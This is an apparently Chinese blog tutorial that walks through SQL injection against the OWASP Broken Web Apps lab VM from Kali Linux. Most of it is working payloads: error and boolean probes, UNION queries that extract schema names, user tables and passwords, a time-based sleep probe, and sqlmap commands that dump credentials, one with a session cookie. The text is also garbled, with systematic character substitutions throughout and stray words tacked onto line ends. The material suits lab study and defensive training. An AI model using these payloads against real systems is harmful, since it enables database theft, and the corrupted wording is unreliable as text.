在owasp年度top 10 安全問題中,注入高居榜首。SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序, 而這些輸入大都是SQL語法裏的一些組合,經過執行SQL語句進而執行攻擊者所要的操做,其主要緣由是程序沒有細緻地 過濾用戶輸入的數據,導致非法數據侵入系統。php
目標靶機:OWASP_Broken_Web_Apps_VM_1.2
下載地址
測試滲透機:Kali-Linux-2018.2-vm-amd64
下載地址mysql
一、拖庫致使用戶數據泄漏; 二、危害web等應用的安全; 三、失去操做系統的控制權; 四、用戶信息被非法買賣; 五、危害企業及國家的安全!
1. 判斷是否有SQL注入漏洞; 2. 判斷操做系統、數據庫和web應用的類型; 3. 獲取數據庫信息,包括管理員信息及拖庫; 4. 加密信息破解,sqlmap可自動破解; 5. 提高權限,得到sql-shell、os-shell、登陸應用後臺;
錯誤注入的思路是經過構造特殊的sql語句,根據獲得的錯誤信息,確認sql注入點; 經過數據庫報錯信息,也能夠探測到數據庫的類型和其餘有用信息。
經過輸入單引號,觸發數據庫異常,經過異常日誌診斷數據庫類型,例如這裏是MySQL數據庫。
linux
SQL注入語句解析: mysql> select first_name,last_name from dvwa.users; mysql> select first_name,last_name from dvwa.users where user_id='1'; #你輸入1 至關於在最後的兩個單引號中間插入一個1來執行mysql的查詢語句
怎麼樣判斷咱們是否能夠注入呢?
會發生頁面報錯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1web
SQL注入語句解析: mysql> select first_name,last_name from dvwa.users where user_id='''
這就表明此網站咱們能夠注入,有注入點。sql
這裏面用到的是or,布爾邏輯注入的思路是閉合SQL語句,構造or邏輯語句、註釋多餘的代碼
shell
注入語句: ' or 1=1 -- ' 原始語句: mysql> select first_name,last_name from dvwa.users where user_id='' SQL注入語句解析: ' or 1=1 -- ' mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' ' 說明: 第一個' 用於閉合前面的條件 or 1=1 爲真的條件 -- 將註釋後面的全部語句 仔細看where user_id=' ' or 1=1 -- ' ' 這個條件語句 user_id=' ' 這個語句確定是假的,由於咱們的ID是阿拉伯數字,而這裏面是空,因此爲假 可是1=1 這個語句確定爲真 -- ' ' 是註釋的意思,也就說後面的不用管 or 表示有一個條件爲真就是真 那總得來講這個where語句必定爲真 整個語句的意思是從dvwa庫的users表裏面查詢first_name,last_name兩個字段的全部內容
UNION語句用於聯合前面的SELECT查詢語句,合併查詢更多信息; 通常經過錯誤和布爾注入確認注入點以後,便開始經過union語句來獲取有效信息。 //猜想數據列數 ' union select 1 -- ' ' union select 1,2 -- ' ' union select 1,2,3 -- ' ' union select 1,2,3,4 -- ' SQL注入語句解析: mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- '' mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '' //union是咱們注入經常使用的方式,裏面的1,2,3 表明的是字段名,union語句查詢的時候,先後的 字段數量必須相同,因此咱們能夠用數字表明字段,來猜想union以前的語句中有幾個字段。這裏 顯然只有兩個字段。
你查詢的不必定非要是字段,也能夠是版本,表之類的 //得到當前數據庫及用戶信息 'union select version(), database() -- ' 'union select user(), database() -- ' //查詢全部庫名 'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- ' #這裏面的1 只是一個列的代替,沒有什麼含義,可是若是你缺了這個1 先後列數量不同會報錯的 //查看所庫中全部表名 'union select table_name, 1 from INFORMATION_SCHEMA.tables -- ' //同時查詢表名及對應庫名 'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- ' //查詢數據列 'union select NULL, user from users -- ' 'union select NULL, password from users -- ' 'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- ' 由於union前面只有兩個字段,那咱們想要查詢多個字段怎麼辦? 用mysql自帶的函數concat(),如 'union select password, concat(first_name,' ',last_name,' ',user) from users -- '
有些數據庫對錯誤信息作了安全配置,使得沒法經過以上方式探測到注入點,此時,經過設置sleep語句來探測注入點。數據庫
1' and sleep(5) -- ' SQL注入語句解析: mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''
SQL注入比較好用的工具,首推開源工具SQLmap。SQLmap是一個國內外著名的安全穩定性測試工具,能夠用來進行自動 化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具備功能強大的檢測引擎,針對各類不一樣類型數據庫的安全穩 定性測試的功能選項,包括獲取數據庫中存儲的數據,訪問操做系統文件甚至能夠經過外帶數據鏈接的方式執行操做系 統命令。 SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等數據庫的各類安全漏洞檢測。安全
打開kali,用戶名root 密碼toor
查看幫助咱們發現咱們須要獲取到網頁的url
而後咱們把該網頁的鏈接複製下來在kali裏面進行測試服務器
root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"
sqlmap參數解析: --users #全部用戶 --current-user #當前用戶 --dbs #全部庫 --current-db #當前庫 -D "database_name" --tables #指定庫名 -D "database_name" -T "table_name" --columns #指定庫名和表名 --dump-all #全部的內容 --dump-all --exclude-sysdbs -D "database_name" -T "table_name" --dump -D "database_name" -T "table_name" -C "username, password" --dump #-C 指定字段 --batch //自動化完成 示例步驟: 1. 得到當前數據庫 root@kali:~# sqlmap -u "你本身的url" --batch --current-db 2. 得到數據庫表 root@kali:~# sqlmap -u "你本身的url" --batch -D nowasp --tables 3. 得到表的字段 root@kali:~# sqlmap -u "你本身的url" --batch -D nowasp -T accounts --columns 4. 得到表中的數據 root@kali:~# sqlmap -u "你本身的url" --batch -D nowasp -T accounts -C "username, password" --dump
須要帶cookie才能訪問的注入頁面,--cookie=""
cookie
root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch
參數跟get獲取的參數同樣,就是post須要用url+cookie
大家的評論和點贊是我寫文章的最大動力,蟹蟹。